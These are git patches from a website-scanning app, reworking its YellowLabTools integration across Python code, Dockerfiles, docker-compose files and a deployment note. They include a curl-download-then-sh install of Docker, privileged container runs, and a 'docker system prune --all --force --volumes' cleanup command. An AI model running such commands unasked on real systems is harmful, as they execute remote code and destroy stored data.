-            "requests": [], 
+            "images": [], 
             "domComplexity": [], 
             "javascriptComplexity": [],
             "badJavascript": [],
@@ -133,58 +133,46 @@ def process_data(self, stdout_json: dict) -> dict:
             "cssComplexity": [],
             "badCSS": [],
             "fonts": [],
-            "serverConfig": stdout_json,
+            "serverConfig": [],
         }
 
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        # for cat in audits:
-        #     cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-        #     for a in cat_audits:
-        #         try:
-        #             audit = stdout_json["rules"][a]
-        #             audits[cat].append(audit)
-        #         except:
-        #             pass
-
-        # # get scores from each category
-        # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        for cat in audits:
+            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+            for a in cat_audits:
+                try:
+                    audit = stdout_json["rules"][a]
+                    audits[cat].append(audit)
+                except:
+                    pass
+
+        # get scores from each category
+        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
         # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-        
-        # scores = {
-        #     "globalScore": globalScore,
-        #     "pageWeight": pageWeight_score, 
-        #     "requests": requests_score, 
-        #     "domComplexity": domComplexity_score, 
-        #     "javascriptComplexity": javascriptComplexity_score,
-        #     "badJavascript": badJavascript_score,
-        #     "jQuery": jQuery_score,
-        #     "cssComplexity": cssComplexity_score,
-        #     "badCSS": badCSS_score,
-        #     "fonts": fonts_score,
-        #     "serverConfig": serverConfig_score,
-        # }
+        images_score = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
+        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         scores = {
-            "globalScore": 0,
-            "pageWeight": 0, 
-            "requests": 0, 
-            "domComplexity": 0, 
-            "javascriptComplexity": 0,
-            "badJavascript": 0,
-            "jQuery": 0,
-            "cssComplexity": 0,
-            "badCSS": 0,
-            "fonts": 0,
-            "serverConfig": 0,
+            "globalScore": globalScore,
+            "pageWeight": pageWeight_score, 
+            # "requests": requests_score,
+            "images": images_score,  
+            "domComplexity": domComplexity_score, 
+            "javascriptComplexity": javascriptComplexity_score,
+            "badJavascript": badJavascript_score,
+            "jQuery": jQuery_score,
+            "cssComplexity": cssComplexity_score,
+            "badCSS": badCSS_score,
+            "fonts": fonts_score,
+            "serverConfig": serverConfig_score,
         }
 
         # save audits data as json file
diff --git a/functions/scanerr-yl/.gitignore b/functions/scanerr-yl/.gitignore
deleted file mode 100644
index 882a1fbe..00000000
--- a/functions/scanerr-yl/.gitignore
+++ /dev/null
@@ -1,7 +0,0 @@
-.nimbella
-.deployed
-__deployer__.zip
-__pycache__/
-node_modules
-package-lock.json
-.DS_Store
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
deleted file mode 100644
index 726b44e8..00000000
--- a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-    "name": "yellowlab",
-    "version": "1.0.0",
-    "description": "scanerr yellowlab scalable function",
-    "main": "yellowlab.js",
-    "dependencies": {
-      "yellowlabtools": "2.2.0"
-    },
-    "devDependencies": {}
-  }
\ No newline at end of file
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
deleted file mode 100644
index 6b2cd258..00000000
--- a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import yellowLabTools from "yellowlabtools"
-
-function main(args){
-    var yltOptions = {
-        device: args.device,
-    };
-    yellowLabTools(args.url, yltOptions)
-        .then(function(data) {
-            return data
-        })
-        .fail(function(err) {
-            return err
-        });
-}
-
-export default main
diff --git a/functions/scanerr-yl/project.yml b/functions/scanerr-yl/project.yml
deleted file mode 100644
index 8596ad68..00000000
--- a/functions/scanerr-yl/project.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-parameters: {}
-environment: {}
-packages:
-    - name: scanerr
-      shared: false
-      environment: {}
-      parameters: {}
-      annotations: {}
-      functions:
-        - name: yellowlab
-          binary: false
-          main: ""
-          runtime: nodejs:default
-          web: true
-          webSecure: false
-          parameters: {}
-          environment: {}
-          annotations: {}
-          limits: {}
diff --git a/functions/dockerfiles/Dockerfile b/functions/yellowlab/Dockerfile
similarity index 100%
rename from functions/dockerfiles/Dockerfile
rename to functions/yellowlab/Dockerfile

From 55649657a22ccffbe33bc10e7aa605f8140dbe61 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:29:31 -0600
Subject: [PATCH 325/752] removed image build from container

---
 Dockerfile             |  7 +------
 docker-compose.dev.yml | 10 +++++++++-
 2 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index a795c01a..4b0c7dd4 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -71,9 +71,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-RUN sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
-    service docker start && \
-    sleep 10 && \
-    docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7142d662..c56f4809 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,10 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+             service docker start && 
+             sleep 10 &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -54,7 +58,11 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+             service docker start && 
+             sleep 10 &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From 0dedca47428c618b6118b66c338ecc0417ad1b24 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:36:03 -0600
Subject: [PATCH 326/752] fixed import issue

---
 app/api/utils/tester.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 9be8bff2..d4aa278a 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,7 +3,7 @@
 from .image import Image
 from scanerr import settings
 from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, images, uuid, boto3
+import time, os, sys, json, random, string, re, requests, uuid, boto3
 
 
 
@@ -29,8 +29,8 @@ def __init__(self, test):
 
 
     def clean_html(self):
-        pre_scan_html_raw = images.get(self.test.pre_scan.html).text
-        post_scan_html_raw = images.get(self.test.post_scan.html).text
+        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
+        post_scan_html_raw = requests.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 

From 7db36a42b378663196b9097ce9b4a36403dcf03a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 10:10:43 -0600
Subject: [PATCH 327/752] removed yellowlab container

---
 docker-compose.dev.yml | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c56f4809..2eb4b1f3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools  &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -61,7 +61,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
@@ -74,18 +74,18 @@ services:
     
 
     
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: scanerr/ylt
-    ports:
-      - 8383:8383
-    depends_on:
-      - redis
-      - celery 
-      - app
-      - db
+  # yellowlab:
+  #   container_name: yellowlab
+  #   privileged: true
+  #   restart: always
+  #   image: scanerr/ylt
+  #   ports:
+  #     - 8383:8383
+  #   depends_on:
+  #     - redis
+  #     - celery 
+  #     - app
+  #     - db
     
       
 

From df0dc2a0d6a4b5e625367519241a09cc893440de Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 10:10:53 -0600
Subject: [PATCH 328/752] added docker clean up scripts

---
 notes/Deployment.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index b543a5d9..41f6206c 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -7,6 +7,7 @@
   - [Scripts](#scripts)
     - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
     - [Get \& Set Node Memory:](#get--set-node-memory)
+    - [Clean up Docker leftovers on Server](#clean-up-docker-leftovers-on-server)
 
 
 &nbsp;
@@ -164,3 +165,9 @@ export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB
 export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB
 export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB
 ```
+
+
+### Clean up Docker leftovers on Server
+```shell
+docker system prune --all --force --volumes
+```
\ No newline at end of file

From e31ab371dc1f46563e65a596c248a6cb14251e8d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:43:25 -0600
Subject: [PATCH 329/752] testing full integration

---
 app/api/utils/scanner.py   |  20 +++----
 app/api/utils/yellowlab.py | 113 ++++++++++++++++++-------------------
 docker-compose.dev.yml     |  20 +------
 3 files changed, 69 insertions(+), 84 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b405b4cf..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    # try:
-    # running yellowlab
-    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.yellowlab = yl_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running yellowlab
+        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.yellowlab = yl_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index d179af60..42763b6c 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -33,7 +33,7 @@ def init_audit(self):
     def yellowlab_api(self) -> dict:
         """ 
         Serves as the backup method for collecting YL metrics.
-        Sends API requests to http://yellowlab.scanerr.io:8383
+        Sends API requests to http://yellowlab:8383
         or localhost:8383
 
         Returns --> raw YL data
@@ -207,70 +207,69 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
         
         # try CLI method first
-        try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+        # try:
+        #     stdout_value = self.init_audit() 
+        #     # decode bytes into string
+        #     stdout_string = stdout_value.decode('iso-8859-1')
         
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'yellowlab ran into a problem',}
-                    return error
-
-                # convert to dict
-                stdout_json = json.loads(stdout_value)
-                data = self.process_data(stdout_json=stdout_json)
-                return data
+        #     if len(stdout_string) != 0:
+        #         if 'Runtime error encountered' in stdout_string:
+        #             error = {'error': 'yellowlab ran into a problem',}
+        #             return error
+
+        #         # convert to dict
+        #         stdout_json = json.loads(stdout_value)
+        #         data = self.process_data(stdout_json=stdout_json)
+        #         return data
                 
-            else:
-                raise RuntimeError
+        #     else:
+        #         raise RuntimeError
         
         # try API method if CLI fails
-        except Exception as e:
-            print(e)
-            print(f'YELLOWLAB CLI FAILED, Trying API...')
+        # except Exception as e:
+            # print(e)
 
-            # try:
+        try:
             raw_data = self.yellowlab_api()
             data = self.process_data(stdout_json=raw_data)
             return data
 
-            # except Exception as e:
-            #     print(f'YELLOWLAB API FAILED --> {e}')
-
-            #     scores = {
-            #         "globalScore": None,
-            #         "pageWeight": None, 
-            #         "requests": None, 
-            #         "domComplexity": None, 
-            #         "javascriptComplexity": None,
-            #         "badJavascript": None,
-            #         "jQuery": None,
-            #         "cssComplexity": None,
-            #         "badCSS": None,
-            #         "fonts": None,
-            #         "serverConfig": None,
-            #     }
-
-            #     audits = {
-            #         "pageWeight": [], 
-            #         "requests": [], 
-            #         "domComplexity": [], 
-            #         "javascriptComplexity": [],
-            #         "badJavascript": [],
-            #         "jQuery": [],
-            #         "cssComplexity": [],
-            #         "badCSS": [],
-            #         "fonts": [],
-            #         "serverConfig": [],
-            #     }
-
-            #     data = {
-            #         "scores": scores, 
-            #         "audits": audits,
-            #         "failed": True
-            #     }
-            
-            #     return data
+        except Exception as e:
+            print(f'YELLOWLAB API FAILED --> {e}')
+
+            scores = {
+                "globalScore": None,
+                "pageWeight": None, 
+                "requests": None, 
+                "domComplexity": None, 
+                "javascriptComplexity": None,
+                "badJavascript": None,
+                "jQuery": None,
+                "cssComplexity": None,
+                "badCSS": None,
+                "fonts": None,
+                "serverConfig": None,
+            }
+
+            audits = {
+                "pageWeight": [], 
+                "requests": [], 
+                "domComplexity": [], 
+                "javascriptComplexity": [],
+                "badJavascript": [],
+                "jQuery": [],
+                "cssComplexity": [],
+                "badCSS": [],
+                "fonts": [],
+                "serverConfig": [],
+            }
+
+            data = {
+                "scores": scores, 
+                "audits": audits,
+                "failed": True
+            }
+        
+            return data
         
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 2eb4b1f3..f4f5d8e4 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools  &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -31,7 +31,6 @@ services:
       - ./env/.env.dev
     
 
-
   db:
     image: postgres:10-alpine
     ports:
@@ -72,21 +71,6 @@ services:
       - app
       - db
     
-
-    
-  # yellowlab:
-  #   container_name: yellowlab
-  #   privileged: true
-  #   restart: always
-  #   image: scanerr/ylt
-  #   ports:
-  #     - 8383:8383
-  #   depends_on:
-  #     - redis
-  #     - celery 
-  #     - app
-  #     - db
-    
       
 
   nginx-proxy:
@@ -106,6 +90,7 @@ services:
       - app
   
   
+
   nginx-proxy-letsencrypt:
     image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
     env_file:
@@ -120,6 +105,7 @@ services:
       - nginx-proxy
 
 
+
 volumes:
   static_volume:
   letsencrypt-acme:

From 72e907550e9e8dc161d88ca34e86e45064725b24 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:48:52 -0600
Subject: [PATCH 330/752] archived old version

---
 Dockerfile.old | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 Dockerfile.old

diff --git a/Dockerfile.old b/Dockerfile.old
new file mode 100644
index 00000000..4b0c7dd4
--- /dev/null
+++ b/Dockerfile.old
@@ -0,0 +1,74 @@
+FROM python:3.9-slim
+ENV PYTHONUNBUFFERED 1
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
+    libfontconfig 
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
+
+# install docker
+RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
+    sh get-docker.sh
\ No newline at end of file

From bb5ef89a453d35d632fbce53390479993a5b9283 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:49:02 -0600
Subject: [PATCH 331/752] consolidated new dockerfile

---
 Dockerfile | 31 ++++---------------------------
 1 file changed, 4 insertions(+), 27 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4b0c7dd4..0b057e02 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.9-slim
+FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
 
 # setting working dir
@@ -6,18 +6,6 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -29,17 +17,6 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -51,10 +28,10 @@ RUN npm cache clean --force
 # installing more yellowlab stuff
 RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+# setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 

From 898d4a372dca4507e6aa0688167c19fc8ae451ff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:56:04 -0600
Subject: [PATCH 332/752] testing docker pull inside image

---
 Dockerfile | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 0b057e02..355e1b0f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.12-slim
+FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # setting working dir
@@ -48,4 +48,8 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh && \
+    sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
+    service docker start && \
+    sleep 10 && \
+    docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file

From bf76cbb00fa497b5a118fe4f715d09ebf6f118ea Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:19:53 -0600
Subject: [PATCH 333/752] testing

---
 Dockerfile | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 355e1b0f..7f4ea6fa 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -25,9 +25,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
 # installing lighthouse
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
@@ -51,5 +48,5 @@ RUN curl -fsSL https://get.docker.com -o get-docker.sh && \
     sh get-docker.sh && \
     sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
     service docker start && \
-    sleep 10 && \
+    sleep 20 && \
     docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file

From 433ee44fb67aaea7e76e94878b95af52e66e4f5d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:24:11 -0600
Subject: [PATCH 334/752] removed internal image pull

---
 Dockerfile | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 7f4ea6fa..ae3d0d0e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,8 +45,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh && \
-    sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
-    service docker start && \
-    sleep 20 && \
-    docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file

From 57e4e4da3792d145b59986681089906e507f87eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:26:20 -0600
Subject: [PATCH 335/752] testing new pull method

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index ae3d0d0e..6db58615 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,4 +45,7 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh
+
+# pull yellowlab image
+FROM ousamabenyounes/yellowlabtools
\ No newline at end of file

From db2aa3a5254a982d838ada38359fbd4361a3ec94 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:29:30 -0600
Subject: [PATCH 336/752] removed pull cmd

---
 Dockerfile | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 6db58615..ae3d0d0e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,7 +45,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-# pull yellowlab image
-FROM ousamabenyounes/yellowlabtools
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file

From 0869adc43b30be0234ac2e75a00b4714f9b50f63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:53:36 -0600
Subject: [PATCH 337/752] testing new build

---
 Dockerfile             | 4 ++++
 docker-compose.dev.yml | 4 ++--
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index ae3d0d0e..8397249a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,3 +1,7 @@
+# pull yellowlab image
+FROM ousamabenyounes/yellowlabtools
+
+# pull main python image
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f4f5d8e4..153e0e68 100644
